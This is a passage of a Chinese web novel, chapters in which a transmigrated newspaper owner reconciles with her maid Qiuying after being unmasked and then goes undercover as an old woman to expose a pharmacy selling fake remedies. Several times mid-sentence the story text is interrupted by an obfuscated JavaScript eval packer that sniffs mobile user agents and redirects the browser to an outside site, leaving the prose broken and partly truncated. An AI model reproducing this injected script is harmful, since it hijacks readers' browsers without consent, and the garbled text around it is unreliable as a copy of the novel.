盛催雪是萧谨言的副手，按理来说是该参考他的意见。但按照萧谨言对盛催雪的崇拜程度，他又不可能会对这件事有异议。 虽然萧谨言这人的性格实在麻烦，但他为报社作出的贡献毋庸置疑。为了给萧谨言提供足够的排面，孟允抒只好装出尊敬的态度说道：“萧主编说得对，我把这茬给忘了，没考虑到您的意见，实在抱歉。那关于盛姑娘正式担任报社副主编一事，您意下如何？” 萧谨言得到孟允抒的抬举后得意地一笑，摆出了一副高高在上的架子。 “我不同意。” “为什么？” 盛催雪的惊疑先一步发出，孟允抒也没想到萧谨言会冒出这样一句话：“你说什么？” 萧谨言被盛催雪一瞪，气势瞬间低了下去，他躲到孟允抒身边，好让她为自己拦下盛催雪如刀锋般锐利的目光，小声向孟允抒告状道：“她目中无人，说话太难听，根本不把我这个主编放在眼里。她要是当了副主编，迟早有天这报社得划归到她的名下。” 盛催雪对他的控诉非常不服，拽住孟允抒的另一条胳膊：“孟社长你评评理，我哪里说话难听？难道我说的不是事实？” 孟允抒大概听明白了，萧谨言难以忍受盛催雪的锐评，这才不愿意和她共事。 “你此前怎么没告诉我？”孟允抒问萧谨言，“我还以为你乐在其中呢。” “我那是以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587857|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大局为重。而且我心想着等此事过后她就会离开，不如暂且忍上一段时间。”萧谨言极力劝说孟允抒，“你千万不能让她留任！” “我也忍你很久了。”盛催雪听着萧谨言的指控，愤愤不平地说道，“孟社长有容人之量，她能惯着你，我可不会由着你的想法！” 说罢，她上前一步拽住萧谨言的胳膊：“说，你同意我留任！” “我不。” 萧谨言的拒绝刚一出口，盛催雪就加重了手上的力道，疼得他龇牙咧嘴。 “社长，这世上难道没有其他人了吗，你干嘛非得招这女魔头进来？”萧谨言大喊大叫道，“我原先真是昏了头，竟然那样追捧你，我真是悔不当初——疼！你放手！” 萧谨言当前的状态向孟允抒诠释了，什么是滤镜破碎后的脱粉回踩。 当下轮到孟允抒这批人休息，孟允抒不想因为这俩人扯头花耽搁了自己宝贵的吃饭时间，于是随便找了个借口开溜，走到前店拉起秋盈的手就往门外赶：“快走，我们去吃饭。” 秋盈见她行色匆忙，还以为出了什么要紧事，连忙问道：“你为何这样着急，发生什么事了？” “催雪和谨言又吵起来了。”孟允抒头痛地扶额，“近日我们还要再招些员工，以后社中恐怕只会更加闹腾。” 秋盈听了这话却掩面轻笑起来：“热闹些也是好事。以前你我二人只有彼此为伴，整日被困在方寸之间，哪能见到今日的光景？” 说罢，她又捏了捏孟允抒的手，目视前方正色道：“你放心，我会注意甄别前来应聘的人员，绝不会让不合适的人进入报社。” 孟允抒对秋盈感激地笑笑，感慨道：“若是社中的人都像你这般稳重干练就好了，能为我省不少心。” 孟允抒回想着她这几个月的经历。无论何时，不管她处于哪种境况，秋盈都一直伴她左右，和她风雨同舟。 报社开业以来，秋盈更是她的得力助手，将报社人员与财务管理得井井有条，替她免去了许多后顾之忧。 秋盈将一门心思都放在她身上，从不为自己考虑，这让孟允抒觉得无以为报。 盛催雪与初晴说笑的情景倏然从她的脑海中闪过。 孟允抒蓦地想起，秋盈比她还年长三岁，如今已经是二十三岁的年纪。在胤朝，像她这个年龄还未成婚的女子实属罕见。 此前孟允抒光顾着奔前程搞事业，却忘记了她得为秋盈成家的事负责。如今盛催雪替初晴征婚，这才让她想起了这茬。 “催雪与初晴的情谊令人艳羡，她们二人倒让我想起一件事。”孟允抒挑起话题，向秋盈征询意见，“如今姐姐事业有成，也是时候考虑婚姻大事了。你有什么想法？” 可秋盈的反应却不像她预想中的那样。 她停下脚步，直视着孟允抒的双眼。 “我原以为你懂我。” 秋盈的声音不大，但孟允抒听得出，她的语气中有几分嗔怒与失落。 接着，她抽回了被孟允抒牵住的手，自顾自地向前走去。 “秋盈。”孟允抒不明白她为何会作出这样的反应，赶紧追上去问她，“你是不是生气了？” 秋盈却只是摇头，语调平和地说了句“没有”。 孟允抒见状继续向她认错：“我要是有哪里说得不对，惹恼了姐姐，还请你对我明说。” “不，我并未生气。”似是为了打消孟允抒的疑虑，秋盈对她笑笑，“是我失态了，还望你见谅。” 说着，她又像什么都没发生过一样，和孟允抒聊起了待会吃什么的话题。 孟允抒察觉到秋盈不大对劲，因此在接下来半日格外关注她的动向与情绪。她发现，秋盈的行为还是一如既往，待人接物恰到好处，做事稳妥令人安心，对自己的关切也未曾少半分。 但孟允抒始终觉得，秋盈对自己的态度似乎淡了许多。 她坐在办公室百思不得其解，只能轻轻叹了口气。 真是一波未平，一波又起。 36. 勘破 直至两人下工，一同乘着马车回府时，孟允抒和秋盈还是保持着单方面的交流。 无论她和秋盈说什么，对方都像往常一样，作出妥帖的回答；但只要她不主动开口，如非必需，秋盈也不会找她说话。 为了试探秋盈的态度，孟允抒只能没话找话：“这两日天热，晚上你若是不想吃饭，就叫人往房中端些水果，既能果腹又可降暑。” 她说了这么长一串话，却只得来秋盈一个礼貌性的微笑，以及一句简短的“多谢夫人挂念”。 秋盈的表现有礼有节，并无半分逾矩，孟允抒要是说她使性子，倒像是冤枉了她。 但孟允抒非常笃定，秋盈一定是在和她闹情绪。 可秋盈屡次告诉孟允抒她没有生气，她的表现又毫无破绽，孟允抒也不知该如何与她沟通，解决二人之间的矛盾。比起这种不温不火的交流，她更宁愿秋盈和她大吵一架，那样好歹能让她知道她的内心想法。 孟允抒好不容易捱到下车，她实在受不了这种别扭的氛围，于是找了个借口对秋盈说道：“你累了一天，先回房歇着吧。” 她又看看书房的方向，对秋盈笑了笑：“我先去找许公子。” “好。” 近日孟允抒与许昭的关系愈发亲近，秋盈也早已发觉，因此没有对她的话作出多余的回应，只是微笑着略一点头，与孟允抒在大门口分别。 孟允抒望着秋盈离去的身影，心下更是纳闷。她一时想不出与秋盈缓和关系的对策，索性决定暂时将这件事抛之脑后，去许昭那换换心情。 她穿过小院来到书房前，见房门大敞着，于是轻手轻脚地拾阶而上，扒着门框遮住身子，探头望向里面。 书房的长案上铺着一张宣纸，许昭坐在案旁，执笔正在上面写着什么，他神情专注，偶尔拧起眉头，像是在凝神沉思。 孟允抒见他并未发觉自己的到来，便轻轻叩门调侃了一句：“许大人，您正忙着呢？” 许昭闻声抬头，在看到孟允抒的身形时，他眉心的那个疙瘩瞬间被扯平，唇角止不住地上扬：“你回来了。快坐。” 他搁下手中的笔，一面收拾着桌上的器具，一面对她说道：“我已经让伙房的人去准备晚膳了，你若是饿了就先吃几块点心。” 孟允抒也不客气，净了手就坐在桌旁，拉来面前那个盛点心的碟子，随手拣起来一块就咬了下去：“这几日的天气真是燥热难耐，我都没胃口吃饭。倒是这些小吃还能让人生出些食欲。” “这些东西垫垫肚子还行，可终归不能当正餐吃。”许昭把旁边的书都合上摞好，“我已经和伙房的人说了，你近日胃口不好，让他们看情况做些饭食给你调理一下，你多少吃些。” “公子一片好心，那我可要留着肚子给待会的晚膳。” 孟允抒推远碟子，随口和许昭闲聊了几句。她见许昭将案上的纸对折起来，遮盖住了上面的字迹，出于好奇问道：“你方才在写些什么？” “我正要将此事告诉你。” 许昭收拾停当，在孟允抒旁边的椅子上落座，看向孟允抒说道：“多亏了你的小报，旧党一连折损了六七个大将。这大半个月他们都没来上朝，旧党群龙无首，自乱阵脚，连他们内部的意见都无法统一。” 许昭眉飞色舞地说着，大有看热闹不嫌事大的架势。 “于是我和几位同僚趁此机会再度上疏，和旧党拉锯了这些时日后，陛下最终松了口，让我们拟出关于扶持女子读书、从业等的具体举措。” “真的？”孟允抒惊闻这条喜讯，激动得声音都响亮了许多。 “嗯，但你暂且不要告诉旁人。”许昭对她打出一个噤声的手势，“这些举措还处于草拟阶段，尚未实施。” 孟允抒当然懂得“事以密成”的道理，用力点点头：“我明白。” “只可惜我们在短期内见不到什么成效。”许昭有些惋惜地说，“待我们几人将拟好的政令等呈给陛下后，还要经过多次修改。即使他能点头通过，这些律令也只会先在部分县域内试行，若是效果不错，才能在全国推广开来。” 而且，这已经算得上是最顺利的一种情况。 政策的推行具有滞后性，从它的方案起草，再到决策、试点、修改完善、推广实施，少说也得几年。 “冰冻三尺非一日之寒，至少我们的想法已经得到了采纳。三年内或许还没有女子入仕，可五年后就不一定了。”孟允抒对此倒是乐观，“过去这些政策根本不见踪影，你和那些同僚也算是完成了一项创举。” “此事并非凭借我们几人就可促成。”许昭感慨道，“你，秋盈，还有报社的诸位成员，以及那些来稿的女子都功不可没。” 听到秋盈的名字，方才被孟允抒强行按下去的烦恼又重新涌上心头。她将双臂放在案上，身子顺势往上一趴。 “是啊，此时我们本应为这件事庆祝，可秋盈却生了我的气。” 在许昭的记忆里，秋盈的性情素来温和持重，又与孟允抒情同姐妹，两人从未闹过矛盾。 他诧异地问道：“你说秋盈同你置气？” “也不能这样说，只是我的猜测罢了。”孟允抒向许昭讲述了事情的来龙去脉，“一直到现在，我都不明白秋盈到底是因为什么而发恼。” “秋盈自幼便服侍在你左右，对你忠心耿耿。”许昭分析道，“兴许是她不想离开你，而你却辜负了她的好意，提出要让她嫁与旁人，因此她才会那样说。” “我也是这样想的。”孟允抒很是苦恼，“可我已经问过了秋盈，她说不是这个原因。” 许昭的沉默表明，当前被秋盈的问题困扰的人又多了一个。 孟允抒打算换个思路，正所谓“旁观者清”，她向许昭求助道：“既然我们都猜不到秋盈为何生气，那你帮我想想，该怎样让她和我重归于好？” 许昭沉思片刻后，面露难色：“我不知道。” 孟允抒觉得她向许昭请教这种事简直就是个错误。她差点忘了，就冲许昭的说话方式，不给对方火上浇油就不错了。 可眼下她也找不到其他军师，只能耐心引导他提出办法。 “那你想象一下，假如是我生你的气，你会怎么做？” 许昭看了孟允抒一眼，忽然起身走到孟允抒面前。 孟允抒不解地问：“你要干什么？” 许昭有些不好意思地说：“把手给我。” 虽然满腹狐疑，孟允抒还是照他说的做了。 许昭动作轻柔地握住她的手，对她一字一句地说：“对不起，是我错了，请你见谅。” 孟允抒望着许昭澄澈的目光，完全认可了“真诚是永远的必杀技”这句话的含金量。 “不行。”孟允抒心慌意乱地缩回手，口不择言道，“这招给我用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597094|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以，但对秋盈恐怕不管用。” 许昭疑惑地问：“为什么？” 那当然是因为她喜欢许昭。 孟允抒意识到自己失言，连忙止住话题以防他深究下去：“不为什么，反正就是不行。” “但这是你教给我的。”许昭却执拗地和她继续讨论这个话题，“你对秋盈所说的话若非发自肺腑，又怎能让她明白你的想法？” 许昭这句话却点醒了她。 先前孟允抒问秋盈为何生气，都是从她的角度出发，反复揣测、试探，却从来没和她说过自己的真心话。 或许在这种情况下，再多的花言巧语也比不上开门见山的谈话。 “我曾将这话说给你听，如今我自己却忘了。”孟允抒暗自思忖，“多谢公子提点，我明白了。” 饭后孟允抒回到房中，秋盈听见门口的动静转过头来，向她打了招呼：“夫人吃过饭了？” 孟允抒点点头，走到桌旁看向秋盈面前的几张纸：“你又在看报？” 这些报纸是今天发行的《黎民日报》，这是秋盈每天必做的事项之一。在很多时候孟允抒都觉得，秋盈对报社的事甚至比她还要上心。 孟允抒觉得这报纸上的字迹有些扎眼，便将油灯拿了过来，顺势坐在秋盈旁边的凳子上：“现在天色暗了，你若是要看报就点上灯，小心伤了眼睛。” 秋盈按她的话照做，火光顿时映亮了桌面的一角。 “如今正值夏季，天黑得迟。若是晚些点灯，每日为你省下几文钱，长此以往也是不少的数目。” 孟允抒望向秋盈，油灯带来的光线并不明亮，这样的一团微光笼在秋盈的面庞上，衬得她更加温柔可亲。 从她穿越过来的那一天起，秋盈就对她百依百顺，在事业上是她的得力助手，在生活中两人也亲密无间，秋盈在她心中的分量已经如同亲姐妹一般。 正因如此，秋盈与她生出嫌隙才会让她心如刀绞。 孟允抒注视着正在低头看报的秋盈，心中的难过越攒越多。 “姐姐一向待我亲厚，我也格外珍惜我们之间的情分，不想和你离了心。”她伸出手攥住秋盈的衣袖，像是生怕她会远离自己，“可我不知道该怎样做才能让你向我说明，你究竟是因为什么才会这样疏远我。” 孟允抒见秋盈抬眼看向自己，更忍不住一股脑地将她的情绪倾泻出来，满怀哀恸地说：“你若是一直不肯告诉我原因，日后它只怕会成为你我之间的一道隔阂。到了那个时候，我们再想冰释前嫌就晚了。” 秋盈受到她的情绪感染，也露出于心不忍的表情。她回握住孟允抒的手，而后望着她轻轻叹了口气。 “既然夫人希望我吐露心迹，那我也想请你向我道出实情。” 她像是下定决心一般抬起头，直视着孟允抒说道：“我有一问想要让你为我解答。” 事情终于出现了转机，孟允抒连忙点头：“姐姐有话直说即可。” “社长。”秋盈的语气充满哀伤和苦涩，“你不是夫人吧。” 这句话乍一听令人费解，但孟允抒很快就想到一个可能性。 在报社之外的地方，秋盈从来不会叫她“社长”。然而，从孟允抒自己的角度看，“孟社长”才是她本人，而“孟夫人”是她从原主那继承来的身份。 一瞬间，孟允抒的心被悬到半空，手脚也因紧张发出冷汗。 37. 改变 孟允抒不知道秋盈是不是真的发现了她的身份，只能先装出一副困惑的模样。 “姐姐这话是什么意思，我没听明白。” 秋盈无奈地苦笑：“你向来聪敏，恐怕是装作没听懂。” 秋盈所说的每一个字都如同鼓点般敲在孟允抒的心上，令她惶恐不安。 她正想说些什么来掩饰真相，秋盈却再次开了口。 “不过想来也是，无论换作何人面对此番情形，都不会直接承认自己的真实身份。”她看向孟允抒温声说道，“你不必紧张，我问这话并非是想要刁难你，只是想证实我的猜测罢了。” 孟允抒半是装糊涂半是出于疑惑地问道：“什么猜测？” 秋盈将目光从孟允抒脸上移开，盯着桌上的油灯。她沉默良久，才说出一句话。 “真正的夫人——我过去的小姐，已经不在了。” 秋盈的声音很轻，但语气却是万分沉痛。孟允抒被她的话惊得乱了心神，险些从凳子上跌下来。 “你在说什么？”孟允抒强颜欢笑，“姐姐今日是怎么了，总是说胡话，举止也这样怪异。” 秋盈没有受到孟允抒的干扰，只是摇摇头，陈述起了自己的判断。 “几个月前姚府倒台后，夫人一时想不开，寻了短见。当时我请了郎中来，他说你气息已绝，告诉我们快准备后事。可没想到，过了两刻钟，你竟然又醒了过来。” 这就是孟允抒穿越过来的时间。说多错多，她不敢在此时出言辩解，只是附和着秋盈含糊其辞。 “人死不能复生，我当时虽觉得蹊跷，却因你的转醒而欣喜不已，只当是神仙显灵，庇佑你起死回生。”秋盈自嘲地说了句，“但后来，随着我和你相处得久了，我愈发肯定你并非以前的夫人。” “此话怎讲？”孟允抒不知道她的表演中哪里出现了纰漏，用开玩笑的口吻说道，“我不是孟夫人还能是谁？” “我不知道你是谁，更不知道你是如何办到这种事的。你装得实在是太像了，虽然你的性情举止都有所改变，但你给出的解释都合情合理。因此，一开始连我都被蒙在鼓里。” 秋盈看向孟允抒，而后垂下眼帘，语气哀婉：“可我与夫人一起长大，形影不离，怎么可能察觉不到她的异常。” 直觉和感情是无法靠逻辑来解释的。 孟允抒善于伪装，能言善辩，但她骗不过秋盈。 秋盈的话已经说到这个份上，孟允抒再和她打太极也无济于事，索性问出了心中的疑惑。 “既然如此，你为何从未向旁人揭发此事，或是前来质问我？” “起先我也曾想过找一个合适的时机做这些事。可后来我发现你并无恶意，也逐渐了解了你的为人。” 秋盈的话情真意切，看上去不像是在说谎。 “你拉着我去书坊做工，接着又创办了报社，带我走出闺阁，让我见识到更为宽广的天地。你信我帮我，我也从你身上学到了许多。对此我无以为报。” “况且我们共同经历了这么多事，你我二人之间的情谊匪浅。所以，我决定保持现状。” 秋盈低头盯着那份报纸：“只要我不主动挑起事端，我们就能和从前一样和谐共处，我也能假装夫人还活着，好好地待在我身边。” 原来秋盈一直在自欺欺人。 “抱歉。”孟允抒内疚不已。 说到底，是她冒名顶替了那位孟姑娘，还一直利用她的身份做事。 “这并非你的过错，只是我的一厢情愿。”秋盈自嘲地说道，“直到你昨日问出那句话，我才意识到，我无法再掩耳盗铃了。” 她抬起头看向孟允抒，神情有些恍惚。她的视线还停留在孟允抒身上，但孟允抒知道秋盈不是在看她。她的目光洞穿了自己的身体，似乎极力地想要捕捉住这个身体内原本的那个灵魂。 “你是孟社长，却不是孟夫人。” 伴随着这个结论，一颗泪珠倏然从秋盈的脸上滑落，洇湿了报纸的一小块区域，那上面的字也随之晕染成一个墨疙瘩，模模糊糊的，让人分辨不清它的真面目。 孟允抒觉得自己的脸上传来异样的感觉，她伸手去摸，发现指尖上已经蘸满了温热的液体。 她想，这不仅是由于她因这番话而动容，也是那位孟姑娘在为此难过。 “对不起，秋盈。”孟允抒低声说道，“若是那位孟姑娘，一定比我更能懂得你的心思，绝不会问出我那样的话。” “不。我说那句话时，并没有将你当作夫人。”秋盈泪流满面，却握紧了孟允抒的手，“那句话是说给你听的。” 孟允抒不可置信：“你是说，你原本以为我懂你？” 秋盈点点头。 “夫人在生活习惯等细节上懂我，可在大事上却不能理解我。毕竟她是大家闺秀，我们的出身不同，平日要做的事也大相径庭，将来更是会走上毫不相干的两条路。”秋盈说道，“夫人一向安分守己，温婉柔顺，断然不会做坏了规矩的事。先前她没有找人为我说亲，只是舍不得我离开。” 秋盈看向孟允抒。 “但你不一样，你的观念与夫人截然相反。对夫人，我更多地是疼惜与关爱，对于你则是感激与珍重。” 秋盈提起一桩往事：“你曾问过我，女子是否应当有自己的事业，我给出了肯定的答案。从前我有这样的想法，却没有办法实现。因此，我和你一起办报，不单是为了你，更是为了自己。” 孟允抒听到这话，既是惊讶又是惭愧。 她看扁了秋盈。 “世人都认为，女子到了年龄就应当出嫁。但是，我能够自食其力，也并没有和他人谈情说爱的兴致，为什么非要与他人成亲？” 秋盈对孟允抒道出她真正的心结：“据我对你的了解，你与他们不同，所以我认为你一定和我心意相通，能够明白我的想法。可是……” 可是孟允抒却问出了那样的问题。在秋盈看来，孟允抒不但羞辱了她，而且辜负了她的一片信任。 “对不起，我没能想到你根本没有成婚的打算。” 孟允抒就这件事向秋盈致以诚恳而深切的歉意，同时也意识到一件事：“所以，你完全是因为我没能理解你的想法而生气？” 秋盈点了点头：“嗯。” 孟允抒豁然开朗。 秋盈和她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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于是她对秋盈笑了笑：“实际上，我还比你年长几岁，叫你‘姐姐’有厚颜无耻之嫌。” 秋盈疑惑道：“此话怎讲？” “这与我的来历有关。此事听起来荒唐，但确实曾发生在我身上。”孟允抒说道，“你若是不信，就全当个传说故事听。” 接着，孟允抒用尽量通俗易懂的方式向秋盈讲述了她穿越的经过。 秋盈的表情十分震惊，但说出的话却和她的神色迥然不同。 她笃定地对孟允抒说：“我相信你说的话。” 秋盈消化了一会孟允抒灌输给她的信息，又回到了方才她们讨论的话题上。 “虽然原来的你比我年长几岁，但如今却不是这样。”秋盈分析道，“况且我已经听习惯了，你应当也叫习惯了，我们还是沿用过去的称呼吧。” 孟允抒刚想应她一个“好”字，话到嘴边却突然改了口。 “不，姐姐对我的称呼还是要改改。” 孟允抒摆脱了身份的桎梏，放松地将一条胳膊搭在椅背上，全然没了平时装出来的矜持。 “既然我不是孟夫人，你和我并无主仆关系，私下无人时你就不必对我以‘夫人’相称。”她扬起唇角看向秋盈，“从今以后，你直呼我的名字即可。” 38. 伪劣药品 孟允抒在仓库内换好衣物，看向面前一人多高的铜镜，打量镜中的身影。 镜中的她白发苍苍，脸上的皱纹纵横交错，皮肤粗糙暗黄，衣服的肩肘处还摞着几块补丁，打眼一看就是个平常人家的老妇形象。 准备停当后，她佝偻着背，颤颤巍巍地走到门前，用沙哑的嗓子对秋盈说道：“姐姐，你还认得我吗？” 替她把守大门的秋盈知道孟允抒故意逗她，笑得前仰后合：“你真是扮什么像什么，若不是我和你一同来到此处换装，我还当是哪个老妇人来到我们社中闲逛呢。” “那就好。” 孟允抒直起腰来，恢复正常的声音笑道：“多谢姐姐帮我守门，你继续忙你的事吧，我走了。” 秋盈却没有马上离开，一直送她出了报社后门，叮嘱她道：“万事小心。” “放心，我都出过那么多次任务了，我心里有数。”孟允抒摆摆手冲秋盈说道，“你快回去，报社可不能群龙无首，他们全靠你镇着场子。” 孟允抒别过秋盈往前走了几步，见到路边的草丛中横七竖八地躺着几根树杈，忽而又生出一计。她在其中捡了根趁手的当作拐杖，朝着她的目的地——济宁堂进发。 这次系统给她下达的任务还要从两日前说起。 当时报社照例开展新一期识字会，会前曾有许多人来找孟允抒闲聊。其中有一个在城中做工的男子向孟允抒吐槽，他长年在别人家中干活，回家的次数甚少，他父母年事已高，在家无人照管，因为年龄大了脑子糊涂，做了不少让人啼笑皆非的事。 他向孟允抒一一列举了他父母的行为，而后又抱怨道：“还有那济宁堂也真是个黑心店铺，他们专挑独居老人下手，忽悠他们身有隐疾，让这些老人家买上一堆没用的草药。不单是我父母，我认识的几个熟人家的长辈也曾上当受骗。” 旁边几个民众听到他们谈论此事也纷纷参与进来，表示济宁堂近日在大肆向老年人推销假药，从他们手中骗取钱财，然而他们却没有证据告发济宁堂，只能吃下这个哑巴亏。 就在这时，孟允抒触发了系统任务，要求她在三日内探明济宁堂是否确实有卖假药的行径，将事件的内情公之于众。 孟允抒一边摇摇晃晃地走在街道上，一边心想着，这就是典型的骗老年人买保健品的行为。 通常情况下，这种骗局的目标对象都是年迈体弱的独居或孤寡老人，他们年龄大了脑子转不过弯来，又没有儿女在身边替他们分辨真相，而他们出于对自身健康状况的担忧，再被那些虚情假意的关心一骗，就很容易进入那些骗子的圈套。 最优秀的猎手往往会以猎物的姿态出现，今日孟允抒前来暗访，当然要装成最佳受害者的模样。 孟允抒抬头看了看上方刻着“济宁堂”三个大字的牌匾，在门口驻足，仔细观察了一下堂中的情况。济宁堂的店面不大，却是小有名气的医馆兼药铺，生意十分红火，几个伙计忙得焦头烂额。 于是，她演得比方才更加卖力。 孟允抒上了台阶，装出一副气喘吁吁的样子，胡乱挥舞着手中的树枝敲击门框，另一只手则到处摸索着，大声问道：“这里可是济宁堂？郎中在不在？” 这句话成功吸引了店中所有人的注意力，站在药柜前的掌柜见状连忙跑过来，拦下孟允抒不让她乱跑：“这位大娘，您小心些，别磕着碰着。” 孟允抒咧开嘴，憨憨地笑着：“多谢你，年轻人，我这个老太婆眼神不大好，走到哪都摔跤。” 掌柜的眼中瞬间闪过一道窃喜的光彩，他热情洋溢地扶着孟允抒坐到桌旁的凳子上，向她问道：“您是来看病的还是抓药的？” 她提高嗓门说道：“你说啥？我听不见！” 掌柜耐心地重复，向她大喊道：“我问您是来做什么的！” “噢，噢。”孟允抒装出恍然大悟的神情，“我来抓药。” “那请您随我到旁边的房间来，我先给您把脉。对症下药才能见效。” 说着，他就要来伸手扶孟允抒。 “等等。”孟允抒慌忙阻止他，“我不是来给我抓药的。” 即使这郎中是个庸医，他能开这么长时间的店肯定也是有两把刷子，孟允抒要是让他把脉，难保不会让自己的伪装露陷。 面对着掌柜疑惑而警惕的目光，孟允抒随口就编起了瞎话：“我这身子骨还算硬朗，倒是省了这些汤药钱。可我那儿子实在不争气。” 她愤恨地用树枝敲了两下地板，唉声叹气地说道：“大夫，这事实在不光彩，我们能否换个地方说话？” 那掌柜也正有此意，于是欣然应允，起身将她请到了另一间房中。 “大娘，您儿子要是有什么隐疾就请您尽管告诉我，由我来帮您想办法。一味地讳疾忌医，这病永远都好不了。”他苦口婆心地劝说孟允抒，语气中充满关切，“您放心，我们绝对不会向外人透露病患的情况。” “好，好。” 孟允抒的大脑飞速运转，她提出的病症不能太严重，最好和养生相关，这样不用病人本人到场就能开药，而且也能为他们提供欺骗自己的机会。 孟允抒当然没有儿子，为了让她的理由合乎常理，于是暂时将许昭拉过来当参考对象，思考着该给他安个什么无关紧要的病症上去。 一个合适的理由骤然浮现在她的脑海中。 孟允抒苦着张脸，开始了她的表演。 “四年前，我花光所有积蓄，终于给我儿子娶了媳妇，我想着这下就能抱上孙子，享受天伦之乐了。可没想到，过了这么几年，我儿媳妇的肚子一直不见动静。” 她重重地叹了口气。 “我心里着急，就问他们到底是怎么回事。我儿子对这事一直支支吾吾，后来还是我儿媳妇告诉我，我儿子他居然有那不举之症。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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骗子的服务态度还挺到位。 孟允抒被掌柜安排着先坐在正堂的椅子上等候，待掌柜叫到她的名字时，几副药已经被扎好了放在柜台上。 孟允抒飞快地瞥了一眼草药，发现其中并没有药方的踪影。 她伸出手哆哆嗦嗦地摸了一阵，开口问那名郎中：“大夫，您怎么只给我开了药，却不见药方？” “大娘您有所不知，这些药方都是从我祖上传下来的秘方，不能泄露给外人。”掌柜对她笑笑，“您别担心，我们济宁堂也是开了多年的老字号了，您用完这些药后来找我们再开就行。” 孟允抒心想，怪不得济宁堂不怕惹上官司。他们的交易没有任何凭据，空口白牙的，就算是官府也没办法断清这种案子。 舍不得孩子套不着狼，孟允抒付了高昂的药钱，提着药前往城中的另外几家药铺。 39. 隔阂 孟允抒坐在回府的马车上，指着脚下的那一堆草药，愤慨地和秋盈发牢骚。 “偌大的一个京城，还能找出来几个良心的商贩？” 上午在她去过济宁堂后，为了查证那些草药的真伪，以及他们所给的配方是否有效，孟允抒特意多跑了几家药铺和医馆，请他们帮忙看看那些草药的成分。 结果，没有一个人愿意直接告诉她答案，非得让她买了他们的药才肯答应她的请求。 孟允抒别无他法，只好一直装耳背和眼瞎，同时反复向他们描述她那个假儿子不举的事，将那些中药开了一遍又一遍。 这一连串事件导致的后果有两个。 第一，她得知济宁堂的草药以次充好，且缺斤少两，最重要的是那些药根本不对症，换句话说就是毫无作用。 第二，现在她手上有一堆治疗不举的草药，与之对应地还有几张写得明明白白的药方。 这么多东西显然不可能都堆在报社，孟允抒只能趁着回府先将它们带走，回头再想办法把这些草药倒腾出去。 孟允抒酣畅淋漓地骂了一通，这才将心中的气愤尽数发泄出来，最后用一句话作了总结：“探官真是贴钱上工。” 她绝对是个隐藏的受虐狂，这才当了这么些年的记者。 秋盈见她义愤填膺的模样，在一旁笑得东倒西歪：“你这说了一路都不见消停，待会回了府，当心一壶茶都解不了渴。” 车夫的声音适时地在前方响起，阻断了孟允抒的怒火：“夫人，我们到了。” 孟允抒下车进了门，顺口向门房问道：“许公子回来了吗？” “还没有。” 门房瞥了一眼孟允抒和秋盈，见她们手里提着一大堆草药，又补充道：“夫人若是有事找老爷，待他回来后我向他通报一声，让他直接去寻你。” “不必了，我没什么要紧事，晚些时候我再找他就是。” 近日许昭公务繁忙，回来得都比往日晚些。于是，孟允抒招呼秋盈去正厅，先将手头这堆麻烦的玩意塞到柜子里。 “来，先把东西放这。” 她把手上的几副药放在桌上，让秋盈也和她一起，而后转身去倒水：“天气太热了，一会不喝水我就口渴得受不了。咱们先歇上片刻，待会再收拾那些东西。” 秋盈取笑她道：“你看我方才说什么来着，你一路上都在说话，不口渴才怪。你看你热得，满头都是汗。” 说罢，她又取来扇子和手帕，走到孟允抒身边给她擦了汗，在她旁边落了座，给她扇着凉风。 几杯凉茶灌下去，孟允抒这才感到夏日的暑气消散了不少。她和秋盈闲聊了几句，门外进来一个小厮向她拱了拱手。 “夫人，昨日你差我们去买几棵盆栽装点院落，方才我们已经将它们搬了进来，您看放在哪里合适？” “走。”孟允抒起身叫上秋盈，对那小厮笑了笑，“你带我们去看看。” 许昭散值回来后，刚一跨进府邸的门槛，门房就叫住了他：“老爷。” 他看门房神秘兮兮的样子，不解地问道：“怎么了？” 门房飞快地向庭院的方向瞟了一眼，压低声音说道：“夫人今日回来的时候，和秋盈姑娘手上都提了不少草药。” 他在空中比划着药材体积的庞大，惊得许昭问道：“她有没有说那是做什么用的？” “没有。”门房摇头道，“这不是我们该管的事，她不主动说，我们也不能问，所以我也不知道夫人为何要买那么多药。但夫人平日待我们这些下人不薄，她若是……” 许昭明白他话中隐去的含义，因为他的心情比门房还要忐忑。 孟允抒过去本就体弱，整日泡在药罐子里，如今好了还没多久却又要服药，难道是因为她整日奔忙搞垮了身子？ 门房凑近许昭，一脸紧张地说道，“我方才听夫人说先将这些药放在正厅的柜子中，老爷若是得空就赶紧去看看。” “我明白了，多谢。” 许昭得到线索，快步赶往正厅。 